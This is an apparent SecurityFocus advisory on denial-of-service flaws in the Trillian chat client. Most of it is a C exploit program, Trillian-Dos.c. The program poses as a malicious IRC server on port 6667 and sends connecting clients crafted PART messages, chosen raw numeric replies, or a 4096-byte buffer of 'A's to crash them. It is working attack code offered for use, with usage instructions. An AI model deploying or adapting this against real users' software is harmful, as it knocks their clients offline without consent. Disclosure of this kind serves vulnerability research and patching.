source: http://www.securityfocus.com/bid/5776/info

A vulnerability has been reported for Trillian. Reportedly, Trillian is prone to a denial of service condition when certain it receives messages about a user leaving a non-specified channel or a channel that the user is not currently in.

It is possible to exploit this issue via a malicious server.

/* Trillian-Dos.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits Multiple Trillian DoS Flaws:
      Raws 206, 211, 213, 214, 215, 217, 218, 243, 302, 317, 324, 332, 333,
352, 367
      Part Flaw
      Data length flaw.

   Tested On Version .74
   Compiles with Borland 5.5 Commandline Tools.

   These Examples Will Just DoS The Trillian Client,
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define SERVER ":server "
#define PART ":nick!ident@address PART\n"

int main(int argc, char *argv[]) {
		 SOCKET TempSock = SOCKET_ERROR;
		 WSADATA WsaDat;
		 SOCKADDR_IN Sockaddr;
		 int nRet;
		 char payload[4096];
		 if (argc < 2) {
		 		 usage();
		 		 return 1;
		 }
		 if ((!strcmp(argv[1],"raw")) && (argc < 3) || (strcmp(argv[1],"raw")) &&
(strcmp(argv[1],"part")) && (strcmp(argv[1],"data"))) {
		 		 usage();
		 		 return 1;
		 }

		 printf("Listening on port 6667 for connections....\n");
		 if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
        		 printf("ERROR: WSA Initialization failed.");
		 		 return 0;
		 }


		 /* Create Socket */
		 s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
		 if (s == INVALID_SOCKET) {
		 		 printf("ERROR: Could Not Create Socket. Exiting\n");
		 		 WSACleanup();
		 		 return 0;
		 }

		 Sockaddr.sin_port = htons(6667);
		 Sockaddr.sin_family = AF_INET;
		 Sockaddr.sin_addr.s_addr  = INADDR_ANY;


        nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
		 if (nRet == SOCKET_ERROR) {
		 		 printf("ERROR Binding Socket");
		 		 WSACleanup();
		 		 return 0;
		 }

		 /* Make Socket Listen */
		 if (listen(s, 10) == SOCKET_ERROR) {
		 		 printf("ERROR: Couldnt Make Listening Socket\n");
		 		 WSACleanup();
		 		 return 0;
		 }

		 while (TempSock == SOCKET_ERROR) {
		       TempSock = accept(s, NULL, NULL);
		 }

		 printf("Client Connected, Sending Payload\n");


		 if (!strcmp(argv[1],"part")) {
		 		 send(TempSock,PART,strlen(PART),0);
		 }
		 if (!strcmp(argv[1],"raw")) {
		 		 send(TempSock,SERVER,strlen(SERVER),0);
		 		 send(TempSock,argv[2],strlen(argv[2]),0);
		 		 send(TempSock,"\n",1,0);
		 }
		 if (!strcmp(argv[1],"data")) {
		 		 memset(payload,'A',4096);
		 		 send(TempSock,payload,strlen(payload),0);
		 }
		 printf("Exiting\n");
		 sleep(100);
		 WSACleanup();
		 return 0;
}

usage() {
		 		 printf("\nTrillian Multiple DoS Flaws\n");
		 		 printf("---------------------------\n");
		 		 printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
		 		 printf("Tested On Version .74\n\n");
		 		 printf("Usage: Trillian-Dos <type> [num]\n");
		 		 printf("Type: raw, part, data\n");
		 		 printf("Num : 206, 211, 213, 214, 215, 217, 218, 243, 302, 317, 324, 332,
333, 352, 367\n\n");
}